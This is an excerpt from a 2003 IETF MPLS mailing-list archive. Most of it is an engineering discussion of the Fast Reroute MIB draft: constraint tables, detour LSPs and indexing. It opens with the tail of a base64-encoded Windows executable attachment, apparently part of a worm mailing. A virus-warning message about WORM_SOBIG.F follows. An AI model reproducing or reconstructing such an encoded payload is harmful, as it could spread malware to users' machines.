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
GqHGJopY8DuXizzHHrTLVM2a0xuVw6v9SSTGJ+ALMNIb88sxzjaTBLvPMNMFvt1bzZXcV4mMvbJV
Jc1p9QsryhunzDmmUtcMtt4+0gmplVWOsN8WgsOp/ktwwTvxSjPDB7rHINh40QyyxCvQTKnMG4O1
1BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdDcYMd/EIrky66xTGLMNIa9Mk8
0AL71BqJtdwelYfmny0CxijnRDaTBbrOPN940Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1
q4sjiRR9UgVZOmKWENpaYm0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAADeAAAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGAEAAFhDMDAxODE1ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAG4GAABYQzAwMTgxNWQ=
--_NextPart_000_013B708F--



From owner-mpls@UU.NET  Sun Oct 12 00:56:41 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA24906
	for <mpls-archive@lists.ietf.org>; Sun, 12 Oct 2003 00:56:41 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkat02322
	for <mpls-archive@lists.ietf.org>; Sun, 12 Oct 2003 04:56:50 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkat02128;
	Sun, 12 Oct 2003 04:56:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkas06793
	for mpls-outgoing; Sun, 12 Oct 2003 04:40:02 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpkas06780
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 12 Oct 2003 04:40:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkas27230
	for <mpls@uu.net>; Sun, 12 Oct 2003 04:38:39 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkas04864
	for <mpls@uu.net>; Sun, 12 Oct 2003 04:38:39 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpkas04857
	for <mpls@uu.net>; Sun, 12 Oct 2003 04:38:38 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9C4cZ5R015906
	for <mpls@uu.net>; Sat, 11 Oct 2003 21:38:35 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADB72282;
	Sun, 12 Oct 2003 00:38:34 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9C4cYi21747 for mpls@uu.net; Sun, 12 Oct 2003 00:38:34 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpkas06641
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 12 Oct 2003 04:36:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkaq17364
	for <mpls@uu.net>; Sun, 12 Oct 2003 04:12:54 GMT
From: ietf-web@ietf.org
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphnc17641
	for <mpls@uu.net>; Wed, 24 Sep 2003 10:07:59 GMT
Message-Id: <QQphnc17641.200309241007@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Details
Date: Fri, 1 Jan 1999 5:47:06 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_013D5186"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_013D5186
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file thank_you.pif
The uncleanable file is deleted.

---------------------------------------------------------

--_NextPart_000_013D5186
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_013D5186
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

thank_you.pif is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_013D5186--



From owner-mpls@UU.NET  Mon Oct 13 04:32:33 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA26589
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 04:32:33 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkfa27325
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 08:32:41 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkfa27041;
	Mon, 13 Oct 2003 08:32:26 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkez01171
	for mpls-outgoing; Mon, 13 Oct 2003 08:17:47 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpkez01159
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 08:17:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkey26470
	for <mpls@UU.NET>; Mon, 13 Oct 2003 08:11:23 GMT
From: riza.cetin@alcatel.be
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkey01164
	for <mpls@UU.NET>; Mon, 13 Oct 2003 08:11:23 GMT
Received: from relay4.alcatel.be by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc245.alcatel.be [195.207.101.245])
	id QQpkey01147
	for <mpls@UU.NET>; Mon, 13 Oct 2003 08:11:22 GMT
Received: from Bemail06.net.alcatel.be (bemail06.net.alcatel.be [138.203.144.83])
	by relay4.alcatel.be (8.12.10/8.12.9) with ESMTP id h9D8B9u5017096;
	Mon, 13 Oct 2003 10:11:09 +0200
Received: from alcatel.be ([138.203.191.132])
          by Bemail06.net.alcatel.be (Lotus Domino Release 5.0.11)
          with ESMTP id 2003101310110699:1580 ;
          Mon, 13 Oct 2003 10:11:06 +0200 
Message-ID: <3F8A5E1B.25D76F7E@alcatel.be>
Date: Mon, 13 Oct 2003 10:11:07 +0200
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Nic Neate <Nic.Neate@dataconnection.com>
Cc: Cisco - Thomas Nadeau <tnadeau@cisco.com>,
        "'stefaan.de_cnodder@alcatel.be'" <stefaan.de_cnodder@alcatel.be>,
        Juniper - Der-Hwa Gan <dhg@juniper.net>,
        "'jvasseur@cisco.com'" <jvasseur@cisco.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Suggested improvements to the Fast Reroute MIB definition in 
 draft-ietf-mpls-fastreroute-mib-01
References: <53F74F5A7B94D511841C00B0D0AB16F8028706D5@baker.datcon.co.uk>
X-MIMETrack: Itemize by SMTP Server on BEMAIL06/BE/ALCATEL(Release 5.0.11  |July 24, 2002) at
 10/13/2003 10:11:07,
	Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.11  |July 24, 2002) at
 10/13/2003 10:11:08,
	Serialize complete at 10/13/2003 10:11:08
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii
X-Scanned-By: MIMEDefang 2.37
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Hi Nic,

It is good to see that version 02 solves most of your issues.

Concerning mplsFrrConsTable:
It does not make sense to have this table also in the transit detour nodes. In
version 02, every detour LSP will have an entry in the mplsTunnelTable (TE-MIB)
and an entry in the mplsFrrDetourTable (FRR-MIB). The constraints of the detour
LSP (which are signaled via RSVP) will be available in the detour entry of the
mplsTunnelTable. These are actually the constraints configured at the PLR (in
the mplsFrrConstTable).

This means that detour FRR constraints are already available in the
mplsTunnelTable at the detour transit nodes, so no need to replicate them.

Concerning the protection method, I will take it up with Tom asap.

Riza.

Nic Neate wrote:

> Thanks Riza,
>
> It is helpful to see version 02 of the draft.  In particular
>  - explicitly stating the advertising of detour LSPs in the mplsTunnelTable
> makes things a lot clearer
>  - you clarify that the mplsFrrConstTable is used for both facility and
> one-to-one backup, so that clears up my first suggested change.
>
> Your comment that the mplsFrrConstTable is only intended for configuration
> at ingress makes the indexing clearer.  It would be good to have that
> clarified in the draft as well.  However, this seems like an unnecessary
> restriction to me - would it not also be useful to have this information
> reported at transit nodes on the protected LSP?
>
> That leaves just one outstanding suggestion - that the protection method be
> configurable per-LSP in the mplsFrrConstTable, as supported by the FRR
> draft.  I look forward to hearing the outcome of your discussions with Tom.
>
> Nic
>
> -----Original Message-----
> From: riza.cetin@alcatel.be [mailto:riza.cetin@alcatel.be]
> Sent: Friday, October 10, 2003 2:06 PM
> To: Nic Neate
> Cc: Cisco - Thomas Nadeau; 'stefaan.de_cnodder@alcatel.be'; Juniper -
> Der-Hwa Gan; 'jvasseur@cisco.com'; 'mpls@uu.net'
> Subject: Re: Suggested improvements to the Fast Reroute MIB definition
> in draft-ietf-mpls-fastreroute-mib-01
>
> Nic,
>
> We have done a lot of changes mainly on the detour related tables. The new
> version has not been submitted yet. Please find attached the new version and
> my
> answers to your questions below.
>
> Riza.
>
> Nic Neate wrote:
>
> > Hi all,
> >
> > I've not had any further discussion on this for a while.  This is a
> summary
> > of what I'm suggesting, taking into account the points people have made,
> and
> > what we've already resolved.  Please get back to me with any disagreement
> or
> > new arguments.
> >
> > Thanks,
> >
> > Nic
> >
> > Agreed corrections to the draft
> > ===============================
> >
> > 1.  Reflect in the description of the mplsFrrConstHopLimit field that the
> > information is not available at transit detour nodes.  Suggested text:
> >
> >       DESCRIPTION
> >         "The maximum number of hops that the detour LSP may traverse.
> >          This field is not relevant and should be ignored if this
> >          entry in the mplsFrrConstTable is being used in the context
> >          of representing a detour LSP."
>
> This table is ONLY used at the ingress node of the protected tunnel instance
> to
> configure backup LSP setup constraints. So it is not relevant for the detour
> transit nodes.
>
> >
> >
> > 2.  Typo: change mplsFrrConstExclAllAffinity to
> mplsFrrConstExclAnyAffinity.
>
> Done.
>
> >
> >
> > 3.  In section 5.3, change "mplsFrrDetourXCPointer" to
> > "mplsTunnelXCPointer".  In the DESCRIPTION of mplsFrrDetourActive, change
> > "mplsFrrDetourRole" to "mplsTunnelRole".
> >
>
> This object has been removed from the new version of the draft.
>
> >
> > Outstanding suggested changes
> > =============================
> >
> > 1.  The mplsFrrConstTable should be a common table for both facility and
> > detour backup.  Currently it is defined to show "detour setup
> constraints".
> > However, the fields map precisely to those in the RSVP FAST_REROUTE object
> > and the FRR draft specifies that the FAST_REROUTE object applies equally
> to
> > both facility and detour backup.  Thus the table is required equally for
> > facilty and detour backup.
> >
>
> To be discussed with Tom Nadeau.
>
> >
> > 2.  The mplsFrrConstProtectionMethod should be a field in the
> > mplsFrrConstTable, not a scalar.  The FRR draft allows an LSR to
> > simulateously support LSPs using both facility and detour backup.  This is
> > likely to happen in real world networks, in particular when a network is
> > being migrated from one protection type to another.  Hence the protection
> > method needs to be configurable/reportable per-LSP, not just per-LSR.  I
> > suggest the follow text for the MIB.
> >
> >    mplsFrrConstProtectionMethod OBJECT-TYPE
> >       SYNTAX        INTEGER { oneToOneBackup(0),
> >                               facilityBackup(1)
> >                             }
> >       MAX-ACCESS    read-write
> >       STATUS        current
> >       DESCRIPTION
> >         "Indicates which protection method is to be used for fast
> >          reroute."
> >       ::= { mplsFrrConstEntry 4 }
> >
>
> To be discussed with Tom Nadeau.
>
> >
> > 3.  The indexing of the mplsFrrConstTable needs fixing.  The current three
> > indicies (interface index, tunnel index and tunnel instance) are
> > insufficient.  For example, two protected LSPs could meet at a transit
> node,
> > both with different ingress and egress but the same values for each of the
> > existing mplsFrrConstTable indices.  If those protected LSPs have a
> > different value for, say, the mplsFrrConstSetupPrio then they need
> different
> > entries in the mplsFrrConstTable.
> >
> > Rather than adjusting the current indexing, I suggest replacing the three
> > existing indices with a single integer index, mplsFrrConstIndex.  This
> index
> > can then be referenced from the mplsTunnelTable, establishing a simple
> > indexing system with clear relationships between the tables (which is also
> > in line with existing relationships between tables in the TE-MIB and
> > LSR-MIB).
> >
> > Briefly, this would require the following.
> > - New mplsFrrConstIndex field in the mplsFrrConstTable, replacing the
> three
> > existing indices.
> > - New mplsFrrTunnelFrrConstIndex/Pointer field in the mplsTunnelTable,
> > pointing to the mplsFrrConstTable entry for this tunnel.
> >
> > Some full suggested text follows.
> >
> > For the mplsFrrConstTable:
> >
> >    MplsFrrConstIndex ::= TEXTUAL-CONVENTION
> >       STATUS        current
> >       DESCRIPTION
> >         "Index into mplsFrrConstTable."
> >       SYNTAX  Integer32 (1..65535)
> >
> >    mplsFrrConstIndex OBJECT-TYPE
> >       SYNTAX        MplsFrrConstIndex
> >       MAX-ACCESS    not-accessible
> >       STATUS        current
> >       DESCRIPTION
> >            "Uniquely identifies this row."
> >       ::= { mplsFrrConstEntry 1 }
> >
> > For the mplsTunnelTable:
> >
> >    -- MPLS Fast Reroute Tunnel Table
> >
> >    mplsFrrTunnelTable            OBJECT-TYPE
> >       SYNTAX                     SEQUENCE OF MplsFrrTunnelEntry
> >       MAX-ACCESS                 not-accessible
> >       STATUS                     current
> >       DESCRIPTION
> >          "This table extends the mplsTunnelTable defined in the
> >           MPLS-TE MIB to provide Fast Reroute configuration."
> >       ::= { mplsFrrGeneralObjects 1 }
> >
> >    mplsFrrTunnelEntry            OBJECT-TYPE
> >       SYNTAX                     MplsFrrTunnelEntry
> >       MAX-ACCESS                 not-accessible
> >       STATUS                     current
> >       DESCRIPTION
> >          "This entry provides Fast Reroute configuration for the
> >           tunnel."
> >       AUGMENTS { mplsTunnelEntry }
> >       ::= {mplsFrrTunnelTable 1}
> >
> >    MplsFrrTunnelEntry ::= SEQUENCE {
> >       mplsFrrTunnelFrrConstPointer      RowPointer
> >    }
> >
> >    mplsFrrTunnelFrrConstPointer   OBJECT-TYPE
> >       SYNTAX                      RowPointer
> >       MAX-ACCESS                  read-create
> >       STATUS                      current
> >       DESCRIPTION
> >            "This variable represents a pointer to the Fast Reroute
> >              parameter specification for this tunnel.  This value may
> >              point at an entry in the mplsFrrConstTable to indicate
> >              which mplsFrrConstEntry is to be assigned to this LSP
> >              instance.  This value may optionally point at an
> >              externally defined Fast Reroute parameter specification
> >              table.  A value of zeroDotZero indicates default Fast
> >              Reroute parameters if the fastReroute bit in the
> >              mplsTunnelSessionAttributes is set, and otherwise no Fast
> >              Reroute protection."
> >       DEFVAL        { zeroDotZero }
> >       ::= { mplsFrrTunnelEntry 1 }
> >
> >    END
>
> This table is only intended to be used at the ingress nodes initiating the
> backup LSPs. It will not be present at the transit detour LSPs. So, I don't
> see
> a need to change the indexing.



From owner-mpls@UU.NET  Mon Oct 13 07:50:41 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA01140
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 07:50:41 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkfn10291
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 11:50:48 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkfn09915;
	Mon, 13 Oct 2003 11:50:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkfm16122
	for mpls-outgoing; Mon, 13 Oct 2003 11:34:28 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpkfm16105
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 11:34:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpkfl06194
	for <mpls@uu.net>; Mon, 13 Oct 2003 11:26:26 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkfl20301
	for <mpls@uu.net>; Mon, 13 Oct 2003 11:26:26 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpkfl20283
	for <mpls@uu.net>; Mon, 13 Oct 2003 11:26:25 GMT
Received: from cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 13 Oct 2003 04:35:37 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9DBQLIU017423
	for <mpls@uu.net>; Mon, 13 Oct 2003 04:26:22 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADB99042;
	Mon, 13 Oct 2003 07:26:21 -0400 (EDT)
